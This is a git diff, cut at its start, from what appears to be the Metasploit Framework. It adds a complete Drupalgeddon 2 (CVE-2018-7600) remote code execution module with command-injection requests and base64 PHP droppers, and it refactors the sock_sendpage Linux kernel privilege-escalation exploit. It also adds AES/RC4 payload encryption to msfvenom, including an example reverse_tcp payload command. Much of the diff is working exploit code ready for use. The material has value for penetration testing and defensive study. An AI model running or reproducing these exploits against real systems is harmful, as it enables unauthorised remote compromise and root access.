end end @@ -2004,7 +2004,7 @@ class Db data_service = framework.db.set_data_service(service_id) framework.db.workspace = framework.db.default_workspace data_service - rescue Exception => e + rescue => e print_error "Unable to set data service: #{e.message}" end end diff --git a/lib/rex.rb b/lib/rex.rb index a59bd4bd4d..008ad89555 100644 --- a/lib/rex.rb +++ b/lib/rex.rb @@ -114,6 +114,10 @@ require 'rex/compat' require 'rex/sslscan/scanner' require 'rex/sslscan/result' +# Cryptography +require 'rex/crypto/aes256' +require 'rex/crypto/rc4' + # Overload the Kernel.sleep() function to be thread-safe Kernel.class_eval(" diff --git a/lib/rex/crypto/aes256.rb b/lib/rex/crypto/aes256.rb new file mode 100644 index 0000000000..036bba7c5b --- /dev/null +++ b/lib/rex/crypto/aes256.rb @@ -0,0 +1,33 @@ +# -*- coding: binary -*- + +module Rex + module Crypto + + # Returns an encrypted string using AES256-CBC. + # + # @param iv [String] Initialization vector. + # @param key [String] Secret key. + # @return [String] The encrypted string. + def self.encrypt_aes256(iv, key, value) + aes = OpenSSL::Cipher::AES256.new(:CBC) + aes.encrypt + aes.iv = iv + aes.key = key + aes.update(value) + aes.final + end + + # Returns a decrypted string using AES256-CBC. + # + # @param iv [String] Initialization vector. + # @param key [String] Secret key. + # @return [String] The decrypted string. + def self.decrypt_aes256(iv, key, value) + aes = OpenSSL::Cipher::AES256.new(:CBC) + aes.decrypt + aes.iv = iv + aes.key = key + aes.update(value) + aes.final + end + + end +end \ No newline at end of file diff --git a/lib/rex/crypto/rc4.rb b/lib/rex/crypto/rc4.rb new file mode 100644 index 0000000000..b3e3a016be --- /dev/null +++ b/lib/rex/crypto/rc4.rb @@ -0,0 +1,20 @@ +# -*- coding: binary -*- + +require 'rc4' + +module Rex + module Crypto + + # Returns a decrypted or encrypted RC4 string. + # + # @param key [String] Secret key. + # @param [String] + def self.rc4(key, value) + rc4 = RC4.new(key) + + # This can also be used to decrypt + rc4.encrypt(value) + end + + end +end \ No newline at end of file diff --git a/modules/exploits/linux/local/sock_sendpage.rb b/modules/exploits/linux/local/sock_sendpage.rb index 1e27130525..d49985f977 100644 --- a/modules/exploits/linux/local/sock_sendpage.rb +++ b/modules/exploits/linux/local/sock_sendpage.rb @@ -10,84 +10,152 @@ require 'msf/core/exploit/exe' class MetasploitModule < Msf::Exploit::Local Rank = GreatRanking - include Msf::Exploit::EXE include Msf::Post::File - + include Msf::Post::Linux::Priv + include Msf::Post::Linux::Kernel + include Msf::Exploit::EXE + include Msf::Exploit::FileDropper include Msf::Exploit::Local::LinuxKernel include Msf::Exploit::Local::Linux - def initialize(info={}) - super( update_info( info, { - 'Name' => 'Linux Kernel Sendpage Local Privilege Escalation', - 'Description' => %q{ - The Linux kernel failed to properly initialize some entries the - proto_ops struct for several protocols, leading to NULL being - dereferenced and used as a function pointer. By using mmap(2) to map - page 0, an attacker can execute arbitrary code in the context of the - kernel. + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Linux Kernel Sendpage Local Privilege Escalation', + 'Description' => %q{ + The Linux kernel failed to properly initialize some entries in the + proto_ops struct for several protocols, leading to NULL being + dereferenced and used as a function pointer. By using mmap(2) to map + page 0, an attacker can execute arbitrary code in the context of the + kernel. - Several public exploits exist for this vulnerability, including - spender's wunderbar_emporium and rcvalle's ppc port, sock_sendpage.c. + Several public exploits exist for this vulnerability, including + spender's wunderbar_emporium and rcvalle's ppc port, sock_sendpage.c. - All Linux 2.4/2.6 versions since May 2001 are believed to be affected: - 2.4.4 up to and including 2.4.37.4; 2.6.0 up to and including 2.6.30.4 - }, - 'License' => MSF_LICENSE, - 'Author' => - [ - 'Tavis Ormandy', # discovery - 'Julien Tinnes ', # discovery - 'spender', # wunderbar_emporium.tgz - 'rcvalle', # sock_sendpage.c - 'egypt' # metasploit module - ], - 'Platform' => [ 'linux' ], - 'Arch' => [ ARCH_X86 ], - 'SessionTypes' => [ 'shell', 'meterpreter' ], - 'References' => - [ - [ 'CVE', '2009-2692' ], - [ 'OSVDB', '56992' ], - [ 'URL', 'http://blog.cr0.org/2009/08/linux-null-pointer-dereference-due-to.html' ] - ], - 'Targets' => - [ - [ 'Linux x86', { 'Arch' => ARCH_X86 } ] - ], - 'DefaultTarget' => 0, - 'DisclosureDate' => "Aug 13 2009", - } - )) - register_options([ - OptString.new("WritableDir", [ true, "A directory where we can write files (must not be mounted noexec)", "/tmp" ]), - ]) - register_options([ - OptBool.new("DEBUG_EXPLOIT", [ true, "Make the exploit executable be verbose about what it's doing", false ]), - ]) + All Linux 2.4/2.6 versions since May 2001 are believed to be affected: + 2.4.4 up to and including 2.4.37.4; 2.6.0 up to and including 2.6.30.4 + + This module has been tested successfully on CentOS 5.0 (i386) with + kernel version 2.6.18-8.1.1.tl5; and Debian 3.1r8 Sarge (i686) with + kernel version 2.4.27-3-386. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Tavis Ormandy', # discovery + 'Julien Tinnes ', # discovery + 'spender', # wunderbar_emporium.tgz + 'rcvalle', # sock_sendpage.c + 'egypt' # metasploit module + ], + 'Platform' => [ 'linux' ], + 'Arch' => [ ARCH_X86 ], + 'SessionTypes' => [ 'shell', 'meterpreter' ], + 'References' => + [ + [ 'CVE', '2009-2692' ], + [ 'EDB', '9545' ], + [ 'EDB', '9641' ], + [ 'BID', '36038' ], + [ 'URL', 'https://www.securityfocus.com/archive/1/505751' ], + [ 'URL', 'http://blog.cr0.org/2009/08/linux-null-pointer-dereference-due-to.html' ] + ], + 'Targets' => + [ + [ 'Linux x86', { 'Arch' => ARCH_X86 } ] + ], + 'DisclosureDate' => 'Aug 13 2009', + 'DefaultTarget' => 0)) + register_options [ + OptString.new('WritableDir', [ true, 'A directory where we can write files (must not be mounted noexec)', '/tmp' ]), + OptBool.new('DEBUG_EXPLOIT', [ true, "Make the exploit executable be verbose about what it's doing", false ]) + ] end - def executable_path - @executable_path ||= datastore["WritableDir"] + "/" + rand_text_alphanumeric(8) + def base_dir + datastore['WritableDir'] + end - @executable_path + def upload(path, data) + print_status "Writing '#{path}' (#{data.size} bytes) ..." + rm_f path + write_file path, data + register_file_for_cleanup path + end + + def check + version = Gem::Version.new kernel_release.split('-').first + + if version.to_s.eql? '' + vprint_error 'Could not determine the kernel version' + return CheckCode::Unknown + end + + if version.between?(Gem::Version.new('2.4.4'), Gem::Version.new('2.4.37.4')) || + version.between?(Gem::Version.new('2.6.0'), Gem::Version.new('2.6.30.4')) + vprint_good "Kernel version #{version} appears to be vulnerable" + else + vprint_error "Kernel version #{version} is not vulnerable" + return CheckCode::Safe + end + + arch = kernel_hardware + unless arch.include?('x86') || arch =~ /i\d86/ + vprint_error "System architecture #{arch} is not supported" + return CheckCode::Safe + end + if arch.include? 'x86_64' + vprint_error "System architecture #{arch} is not supported" + return CheckCode::Safe + end + vprint_good "System architecture #{arch} is supported" + + mmap_min_addr_path = '/proc/sys/vm/mmap_min_addr' + if file_exist? mmap_min_addr_path + mmap_min_addr = read_file mmap_min_addr_path + else + mmap_min_addr = '' + end + + case mmap_min_addr + when '' + vprint_good 'vm.mmap_min_addr is not set' + when '0' + vprint_good 'vm.mmap_min_addr is zero' + else + vprint_error "vm.mmap_min_addr (#{mmap_min_addr}) is not zero" + return CheckCode::Safe + end + + CheckCode::Appears end def exploit - sc = Metasm::ELF.new(@cpu) + if check == CheckCode::Safe + fail_with Failure::NotVulnerable, 'Target is not vulnerable' + end + + if is_root? + fail_with Failure::BadConfig, 'Session already has root privileges' + end + + unless cmd_exec("test -w '#{base_dir}' && echo true").include? 'true' + fail_with Failure::BadConfig, "#{base_dir} is not writable" + end + + sc = Metasm::ELF.new @cpu sc.parse %Q| #ifdef __ELF__ .section ".bss" rwx .section ".text" rwx #endif | - current_task_struct_h(sc) - if datastore["DEBUG_EXPLOIT"] + current_task_struct_h sc + + if datastore['DEBUG_EXPLOIT'] cparser.parse "#define DEBUG\n" end - case target.arch.first - when ARCH_X86 - main = %q^ + main = %q^ struct _IO_FILE; typedef void _IO_lock_t; @@ -244,6 +312,7 @@ int *apparmor_enabled; int got_ring0 = 0; unsigned long uid, gid; +/* static unsigned long get_kernel_sym(char *name) { FILE *f; @@ -278,7 +347,7 @@ static unsigned long get_kernel_sym(char *name) fclose(f); return 0; } - +*/ static void change_cred(void) @@ -403,24 +472,22 @@ int main(int argc, char **argv) { return got_ring0; } - ^ - main.gsub!(/SHELLCODE/) do - # Split the payload into chunks and dump it out as a hex-escaped - # literal C string. - Rex::Text.to_c(payload.encoded, 64, "shellcode") - end - main.gsub!(/shellcode_size = 0/, "shellcode_size = #{payload.encoded.length}") - cparser.parse(main, "main.c") - #$stderr.puts cparser.factorize - #return - - asm = cpu.new_ccompiler(cparser, sc).compile - - sc.parse asm + main.gsub!(/SHELLCODE/) do + # Split the payload into chunks and dump it out as a hex-escaped + # literal C string. + Rex::Text.to_c payload.encoded, 64, 'shellcode' end + main.gsub!(/shellcode_size = 0/, "shellcode_size = #{payload.encoded.length}") + cparser.parse main, 'main.c' + #$stderr.puts cparser.factorize + #return + + asm = cpu.new_ccompiler(cparser, sc).compile + + sc.parse asm sc.assemble sc.c_set_default_entrypoint @@ -429,7 +496,7 @@ int main(int argc, char **argv) { elf = sc.encode_string else foo = sc.encode_string - elf = Msf::Util::EXE.to_linux_x86_elf(framework, foo) + elf = Msf::Util::EXE.to_linux_x86_elf framework, foo end rescue print_error "Metasm Encoding failed: #{$!}" @@ -438,11 +505,13 @@ int main(int argc, char **argv) { return end - print_status "Writing exploit executable to #{executable_path} (#{elf.length} bytes)" - rm_f executable_path - write_file(executable_path, elf) - output = cmd_exec("chmod +x #{executable_path}; #{executable_path}") - output.each_line { |line| vprint_status(line.chomp) } + payload_path = "#{base_dir}/.#{rand_text_alphanumeric 8..12}" + upload payload_path, elf + cmd_exec "chmod +x #{payload_path}" + + print_status 'Executing payload...' + output = cmd_exec payload_path + output.each_line { |line| vprint_status line.chomp } end end diff --git a/modules/exploits/unix/webapp/drupal_drupalgeddon2.rb b/modules/exploits/unix/webapp/drupal_drupalgeddon2.rb new file mode 100644 index 0000000000..59bce898c4 --- /dev/null +++ b/modules/exploits/unix/webapp/drupal_drupalgeddon2.rb @@ -0,0 +1,443 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + # XXX: CmdStager can't handle badchars + include Msf::Exploit::PhpEXE + include Msf::Exploit::FileDropper + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Drupal Drupalgeddon 2 Forms API Property Injection', + 'Description' => %q{ + This module exploits a Drupal property injection in the Forms API. + + Drupal 6.x, < 7.58, 8.2.x, < 8.3.9, < 8.4.6, and < 8.5.1 are vulnerable. + }, + 'Author' => [ + 'Jasper Mattsson', # Vulnerability discovery + 'a2u', # Proof of concept (Drupal 8.x) + 'Nixawk', # Proof of concept (Drupal 8.x) + 'FireFart', # Proof of concept (Drupal 7.x) + 'wvu' # Metasploit module + ], + 'References' => [ + ['CVE', '2018-7600'], + ['URL', 'https://www.drupal.org/sa-core-2018-002'], + ['URL', 'https://greysec.net/showthread.php?tid=2912'], + ['URL', 'https://research.checkpoint.com/uncovering-drupalgeddon-2/'], + ['URL', 'https://github.com/a2u/CVE-2018-7600'], + ['URL', 'https://github.com/nixawk/labs/issues/19'], + ['URL', 'https://github.com/FireFart/CVE-2018-7600'], + ['AKA', 'SA-CORE-2018-002'], + ['AKA', 'Drupalgeddon 2'] + ], + 'DisclosureDate' => 'Mar 28 2018', + 'License' => MSF_LICENSE, + 'Platform' => ['php', 'unix', 'linux'], + 'Arch' => [ARCH_PHP, ARCH_CMD, ARCH_X86, ARCH_X64], + 'Privileged' => false, + 'Payload' => {'BadChars' => '&>\''}, + # XXX: Using "x" in Gem::Version::new isn't technically appropriate + 'Targets' => [ + # + # Automatic targets (PHP, cmd/unix, native) + # + ['Automatic (PHP In-Memory)', + 'Platform' => 'php', + 'Arch' => ARCH_PHP, + 'Type' => :php_memory + ], + ['Automatic (PHP Dropper)', + 'Platform' => 'php', + 'Arch' => ARCH_PHP, + 'Type' => :php_dropper + ], + ['Automatic (Unix In-Memory)', + 'Platform' => 'unix', + 'Arch' => ARCH_CMD, + 'Type' => :unix_memory + ], + ['Automatic (Linux Dropper)', + 'Platform' => 'linux', + 'Arch' => [ARCH_X86, ARCH_X64], + 'Type' => :linux_dropper + ], + # + # Drupal 7.x targets (PHP, cmd/unix, native) + # + ['Drupal 7.x (PHP In-Memory)', + 'Platform' => 'php', + 'Arch' => ARCH_PHP, + 'Version' => Gem::Version.new('7.x'), + 'Type' => :php_memory + ], + ['Drupal 7.x (PHP Dropper)', + 'Platform' => 'php', + 'Arch' => ARCH_PHP, + 'Version' => Gem::Version.new('7.x'), + 'Type' => :php_dropper + ], + ['Drupal 7.x (Unix In-Memory)', + 'Platform' => 'unix', + 'Arch' => ARCH_CMD, + 'Version' => Gem::Version.new('7.x'), + 'Type' => :unix_memory + ], + ['Drupal 7.x (Linux Dropper)', + 'Platform' => 'linux', + 'Arch' => [ARCH_X86, ARCH_X64], + 'Version' => Gem::Version.new('7.x'), + 'Type' => :linux_dropper + ], + # + # Drupal 8.x targets (PHP, cmd/unix, native) + # + ['Drupal 8.x (PHP In-Memory)', + 'Platform' => 'php', + 'Arch' => ARCH_PHP, + 'Version' => Gem::Version.new('8.x'), + 'Type' => :php_memory + ], + ['Drupal 8.x (PHP Dropper)', + 'Platform' => 'php', + 'Arch' => ARCH_PHP, + 'Version' => Gem::Version.new('8.x'), + 'Type' => :php_dropper + ], + ['Drupal 8.x (Unix In-Memory)', + 'Platform' => 'unix', + 'Arch' => ARCH_CMD, + 'Version' => Gem::Version.new('8.x'), + 'Type' => :unix_memory + ], + ['Drupal 8.x (Linux Dropper)', + 'Platform' => 'linux', + 'Arch' => [ARCH_X86, ARCH_X64], + 'Version' => Gem::Version.new('8.x'), + 'Type' => :linux_dropper + ] + ], + 'DefaultTarget' => 0, # Automatic (PHP In-Memory) + 'DefaultOptions' => {'WfsDelay' => 2} + )) + + register_options([ + OptString.new('TARGETURI', [true, 'Path to Drupal install', '/']), + OptString.new('PHP_FUNC', [true, 'PHP function to execute', 'passthru']), + OptBool.new('DUMP_OUTPUT', [false, 'If output should be dumped', false]) + ]) + + register_advanced_options([ + OptBool.new('ForceExploit', [false, 'Override check result', false]), + OptString.new('WritableDir', [true, 'Writable dir for droppers', '/tmp']) + ]) + end + + def check + checkcode = CheckCode::Safe + + if drupal_version + print_status("Drupal #{@version} targeted at #{full_uri}") + checkcode = CheckCode::Detected + else + print_error('Could not determine Drupal version to target') + return CheckCode::Unknown + end + + if drupal_unpatched? + print_good('Drupal appears unpatched in CHANGELOG.txt') + checkcode = CheckCode::Appears + end + + token = random_crap + res = execute_command(token, func: 'printf') + + if res && res.body.start_with?(token) + checkcode = CheckCode::Vulnerable + end + + checkcode + end + + def exploit + unless check == CheckCode::Vulnerable || datastore['ForceExploit'] + fail_with(Failure::NotVulnerable, 'Set ForceExploit to override') + end + + if datastore['PAYLOAD'] == 'cmd/unix/generic' + print_warning('Enabling DUMP_OUTPUT for cmd/unix/generic') + # XXX: Naughty datastore modification + datastore['DUMP_OUTPUT'] = true + end + + # NOTE: assert() is attempted first, then PHP_FUNC if that fails + case target['Type'] + when :php_memory + execute_command(payload.encoded, func: 'assert') + + sleep(wfs_delay) + return if session_created? + + # XXX: This will spawn a *very* obvious process + execute_command("php -r '#{payload.encoded}'") + when :unix_memory + execute_command(payload.encoded) + when :php_dropper, :linux_dropper + dropper_assert + + sleep(wfs_delay) + return if session_created? + + dropper_exec + end + end + + def dropper_assert + php_file = Pathname.new( + "#{datastore['WritableDir']}/#{random_crap}.php" + ).cleanpath + + # Return the PHP payload or a PHP binary dropper + dropper = get_write_exec_payload( + writable_path: datastore['WritableDir'], + unlink_self: true # Worth a shot + ) + + # Encode away potential badchars with Base64 + dropper = Rex::Text.encode_base64(dropper) + + # Stage 1 decodes the PHP and writes it to disk + stage1 = %Q{ + file_put_contents("#{php_file}", base64_decode("#{dropper}")); + } + + # Stage 2 executes said PHP in-process + stage2 = %Q{ + include_once("#{php_file}"); + } + + # :unlink_self may not work, so let's make sure + register_file_for_cleanup(php_file) + + # Hopefully pop our shell with assert() + execute_command(stage1.strip, func: 'assert') + execute_command(stage2.strip, func: 'assert') + end + + def dropper_exec + php_file = "#{random_crap}.php" + tmp_file = Pathname.new( + "#{datastore['WritableDir']}/#{php_file}" + ).cleanpath + + # Return the PHP payload or a PHP binary dropper + dropper = get_write_exec_payload( + writable_path: datastore['WritableDir'], + unlink_self: true # Worth a shot + ) + + # Encode away potential badchars with Base64 + dropper = Rex::Text.encode_base64(dropper) + + # :unlink_self may not work, so let's make sure + register_file_for_cleanup(php_file) + + # Write the payload or dropper to disk (!) + # NOTE: Analysis indicates > is a badchar for 8.x + execute_command("echo #{dropper} | base64 -d | tee #{php_file}") + + # Attempt in-process execution of our PHP script + send_request_cgi( + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, php_file) + ) + + sleep(wfs_delay) + return if session_created? + + # Try to get a shell with PHP CLI + execute_command("php #{php_file}") + + sleep(wfs_delay) + return if session_created? + + register_file_for_cleanup(tmp_file) + + # Fall back on our temp file + execute_command("echo #{dropper} | base64 -d | tee #{tmp_file}") + execute_command("php #{tmp_file}") + end + + def execute_command(cmd, opts = {}) + func = opts[:func] || datastore['PHP_FUNC'] || 'passthru' + + vprint_status("Executing with #{func}(): #{cmd}") + + res = + case @version.to_s + when '7.x' + exploit_drupal7(func, cmd) + when '8.x' + exploit_drupal8(func, cmd) + end + + if res && res.code != 200 + print_error("Unexpected reply: #{res.inspect}") + return + end + + if res && datastore['DUMP_OUTPUT'] + print_line(res.body) + end + + res + end + + def drupal_version + if target['Version'] + @version = target['Version'] + return @version + end + + res = send_request_cgi( + 'method' => 'GET', + 'uri' => target_uri.path + ) + + return unless res && res.code == 200 + + # Check for an X-Generator header + @version = + case res.headers['X-Generator'] + when /Drupal 7/ + Gem::Version.new('7.x') + when /Drupal 8/ + Gem::Version.new('8.x') + end + + return @version if @version + + # Check for a tag + generator = res.get_html_document.at( + '//meta[@name = "Generator"]/@content' + ) + + return unless generator + + @version = + case generator.value + when /Drupal 7/ + Gem::Version.new('7.x') + when /Drupal 8/ + Gem::Version.new('8.x') + end + end + + def drupal_unpatched? + unpatched = true + + # Check for patch level in CHANGELOG.txt + uri = + case @version.to_s + when '7.x' + normalize_uri(target_uri.path, 'CHANGELOG.txt') + when '8.x' + normalize_uri(target_uri.path, 'core/CHANGELOG.txt') + end + + res = send_request_cgi( + 'method' => 'GET', + 'uri' => uri + ) + + return unless res && res.code == 200 + + if res.body.include?('SA-CORE-2018-002') + unpatched = false + end + + unpatched + end + + def exploit_drupal7(func, code) + vars_get = { + 'q' => 'user/password', + 'name[#post_render][]' => func, + 'name[#markup]' => code, + 'name[#type]' => 'markup' + } + + vars_post = { + 'form_id' => 'user_pass', + '_triggering_element_name' => 'name' + } + + res = send_request_cgi( + 'method' => 'POST', + 'uri' => target_uri.path, + 'vars_get' => vars_get, + 'vars_post' => vars_post + ) + + return res unless res && res.code == 200 + + form_build_id = res.get_html_document.at( + '//input[@name = "form_build_id"]/@value' + ) + + return res unless form_build_id + + vars_get = { + 'q' => "file/ajax/name/#value/#{form_build_id.value}" + } + + vars_post = { + 'form_build_id' => form_build_id.value + } + + send_request_cgi( + 'method' => 'POST', + 'uri' => target_uri.path, + 'vars_get' => vars_get, + 'vars_post' => vars_post + ) + end + + def exploit_drupal8(func, code) + # Clean URLs are enabled by default and "can't" be disabled + uri = normalize_uri(target_uri.path, 'user/register') + + vars_get = { + 'element_parents' => 'account/mail/#value', + 'ajax_form' => 1, + '_wrapper_format' => 'drupal_ajax' + } + + vars_post = { + 'form_id' => 'user_register_form', + '_drupal_ajax' => 1, + 'mail[#type]' => 'markup', + 'mail[#post_render][]' => func, + 'mail[#markup]' => code + } + + send_request_cgi( + 'method' => 'POST', + 'uri' => uri, + 'vars_get' => vars_get, + 'vars_post' => vars_post + ) + end + + def random_crap + Rex::Text.rand_text_alphanumeric(8..42) + end + +end diff --git a/msfvenom b/msfvenom index 2e292a546c..6b761ae6a4 100755 --- a/msfvenom +++ b/msfvenom @@ -63,12 +63,13 @@ def parse_args(args) opt = OptionParser.new banner = "MsfVenom - a Metasploit standalone payload generator.\n" banner << "Also a replacement for msfpayload and msfencode.\n" - banner << "Usage: #{$0} [options] " + banner << "Usage: #{$0} [options] \n" + banner << "Example: #{$0} -p windows/meterpreter/reverse_tcp LHOST= -f exe -o payload.exe" opt.banner = banner opt.separator('') opt.separator('Options:') - opt.on('-p', '--payload ', String, + opt.on('-p', '--payload ', String, 'Payload to use. Specify a \'-\' or stdin to use custom payloads') do |p| if p == '-' opts[:payload] = 'stdin' @@ -81,18 +82,18 @@ def parse_args(args) opts[:list_options] = true end - opt.on('-l', '--list [type]', Array, 'List a module type. Options are: payloads, encoders, nops, all') do |l| + opt.on('-l', '--list [type]', Array, 'List a module type. Options are: payloads, encoders, nops, all') do |l| if l.nil? or l.empty? l = ["all"] end opts[:list] = l end - opt.on('-n', '--nopsled ', Integer, 'Prepend a nopsled of [length] size on to the payload') do |n| + opt.on('-n', '--nopsled ', Integer, 'Prepend a nopsled of [length] size on to the payload') do |n| opts[:nops] = n.to_i end - opt.on('-f', '--format ', String, "Output format (use --help-formats for a list)") do |f| + opt.on('-f', '--format ', String, "Output format (use --help-formats for a list)") do |f| opts[:format] = f end @@ -105,15 +106,34 @@ def parse_args(args) raise HelpError, msg end - opt.on('-e', '--encoder ', String, 'The encoder to use') do |e| + opt.on('--encrypt ', String, 'The type of encryption or encoding to apply to the shellcode') do |e| + opts[:encryption_format] = e + end + + opt.on('--encrypt-formats', String, 'List Available encryption formats') do + init_framework(:module_types => []) + msg = "Encryption formats:\n" + + "\t" + ::Msf::Simple::Buffer.encryption_formats.join(", ") + raise HelpError, msg + end + + opt.on('--encrypt-key ', String, 'A key to be used for the encryptor') do |e| + opts[:encryption_key] = e + end + + opt.on('--encrypt-iv ', String, 'An initialization vector for the encryption') do |e| + opts[:encryption_iv] = e + end + + opt.on('-e', '--encoder ', String, 'The encoder to use') do |e| opts[:encoder] = e end - opt.on('-a', '--arch ', String, 'The architecture to use') do |a| + opt.on('-a', '--arch ', String, 'The architecture to use') do |a| opts[:arch] = a end - opt.on('--platform ', String, 'The platform of the payload') do |l| + opt.on('--platform ', String, 'The platform of the payload') do |l| opts[:platform] = l end @@ -126,28 +146,28 @@ def parse_args(args) raise HelpError, msg end - opt.on('-s', '--space ', Integer, 'The maximum size of the resulting payload') do |s| + opt.on('-s', '--space ', Integer, 'The maximum size of the resulting payload') do |s| opts[:space] = s end - opt.on('--encoder-space ', Integer, 'The maximum size of the encoded payload (defaults to the -s value)') do |s| + opt.on('--encoder-space ', Integer, 'The maximum size of the encoded payload (defaults to the -s value)') do |s| opts[:encoder_space] = s end - opt.on('-b', '--bad-chars ', String, 'The list of characters to avoid example: \'\x00\xff\'') do |b| + opt.on('-b', '--bad-chars ', String, 'The list of characters to avoid example: \'\x00\xff\'') do |b| init_framework() opts[:badchars] = Rex::Text.hex_to_raw(b) end - opt.on('-i', '--iterations ', Integer, 'The number of times to encode the payload') do |i| + opt.on('-i', '--iterations ', Integer, 'The number of times to encode the payload') do |i| opts[:iterations] = i end - opt.on('-c', '--add-code ', String, 'Specify an additional win32 shellcode file to include') do |x| + opt.on('-c', '--add-code ', String, 'Specify an additional win32 shellcode file to include') do |x| opts[:add_code] = x end - opt.on('-x', '--template ', String, 'Specify a custom executable file to use as a template') do |x| + opt.on('-x', '--template ', String, 'Specify a custom executable file to use as a template') do |x| opts[:template] = x end @@ -155,11 +175,11 @@ def parse_args(args) opts[:keep] = true end - opt.on('-o', '--out ', 'Save the payload') do |x| + opt.on('-o', '--out ', 'Save the payload') do |x| opts[:out] = x end - opt.on('-v', '--var-name ', String, 'Specify a custom variable name to use for certain output formats') do |x| + opt.on('-v', '--var-name ', String, 'Specify a custom variable name to use for certain output formats') do |x| opts[:var_name] = x end @@ -336,8 +356,8 @@ if generator_opts[:list_options] $stderr.puts "Advanced options for #{payload_mod.fullname}:\n\n" $stdout.puts ::Msf::Serializer::ReadableText.dump_advanced_options(payload_mod, ' ') - $stderr.puts "Evasion options for #{payload_mod.fullname}:\n\n" - $stdout.puts ::Msf::Serializer::ReadableText.dump_evasion_options(payload_mod, ' ') + $stderr.puts "Encryption options for #{payload_mod.fullname}:\n\n" + $stdout.puts ::Msf::Serializer::ReadableText.dump_encrypt_options(payload_mod, ' ') exit(0) end diff --git a/spec/lib/msf/core/payload_generator_spec.rb b/spec/lib/msf/core/payload_generator_spec.rb index 2c5736065a..ab7b83bafb 100644 --- a/spec/lib/msf/core/payload_generator_spec.rb +++ b/spec/lib/msf/core/payload_generator_spec.rb @@ -1056,7 +1056,7 @@ RSpec.describe Msf::PayloadGenerator do } } it 'applies the appropriate transform format' do - expect(::Msf::Simple::Buffer).to receive(:transform).with(shellcode, 'c', 'buf') + expect(::Msf::Simple::Buffer).to receive(:transform).with(shellcode, 'c', 'buf', {}) payload_generator.format_payload(shellcode) end end diff --git a/spec/lib/rex/crypto/aes256_spec.rb b/spec/lib/rex/crypto/aes256_spec.rb new file mode 100644 index 0000000000..5fc98c029c --- /dev/null +++ b/spec/lib/rex/crypto/aes256_spec.rb @@ -0,0 +1,62 @@ +require 'spec_helper' +require 'securerandom' + + +RSpec.describe Rex::Crypto do + + let(:iv) { + SecureRandom.random_bytes(16) + } + + let(:key) { + SecureRandom.random_bytes(32) + } + + let(:value) { + 'Hello World' + } + + describe '#encrypt_aes256' do + it 'raises an exception due to a short IV' do + iv = SecureRandom.random_bytes(1) + # Because it could raise either a OpenSSL::Cipher::CipherError or an ArgumentError + # dependong on the environment, we will just expect it to raise an exception + expect { Rex::Crypto.encrypt_aes256(iv, key, value) }.to raise_exception + end + + it 'raises an exception due to a short key' do + key = SecureRandom.random_bytes(1) + # Because it could raise either a OpenSSL::Cipher::CipherError or an ArgumentError + # dependong on the environment, we will just expect it to raise an exception + expect { Rex::Crypto.encrypt_aes256(iv, key, value) }.to raise_exception + end + + it 'encrypts the string Hello World' do + encrypted_str = Rex::Crypto.encrypt_aes256(iv, key, value) + expect(encrypted_str).not_to eq(value) + end + end + + describe '#decrypt_aes256' do + it 'raises an exception due to a short IV' do + iv = SecureRandom.random_bytes(1) + # Because it could raise either a OpenSSL::Cipher::CipherError or an ArgumentError + # dependong on the environment, we will just expect it to raise an exception + expect { Rex::Crypto.decrypt_aes256(iv, key, value) }.to raise_exception + end + + it 'raises an exception due to a short key' do + key = SecureRandom.random_bytes(1) + # Because it could raise either a OpenSSL::Cipher::CipherError or an ArgumentError + # dependong on the environment, we will just expect it to raise an exception + expect { Rex::Crypto.decrypt_aes256(iv, key, value) }.to raise_exception + end + + it 'decrypts the value to Hello World' do + encrypted_str = Rex::Crypto.encrypt_aes256(iv, key, value) + decrypted_str = Rex::Crypto.decrypt_aes256(iv, key, encrypted_str) + expect(decrypted_str).to eq(value) + end + end + +end \ No newline at end of file diff --git a/spec/lib/rex/crypto/rc4_spec.rb b/spec/lib/rex/crypto/rc4_spec.rb new file mode 100644 index 0000000000..00ffaf4828 --- /dev/null +++ b/spec/lib/rex/crypto/rc4_spec.rb @@ -0,0 +1,28 @@ +require 'spec_helper' +require 'securerandom' + + +RSpec.describe Rex::Crypto do + + describe '#rc4' do + + let(:key) { + SecureRandom.random_bytes(32) + } + + let(:value) { + 'Hello World' + } + + it 'encrypts a string' do + expect(Rex::Crypto.rc4(key, value)).not_to eq(value) + end + + it 'decrypts a string' do + encrypted_str = Rex::Crypto.rc4(key, value) + decrypted_str = Rex::Crypto.rc4(key, encrypted_str) + expect(decrypted_str).to eq(value) + end + + end +end \ No newline at end of file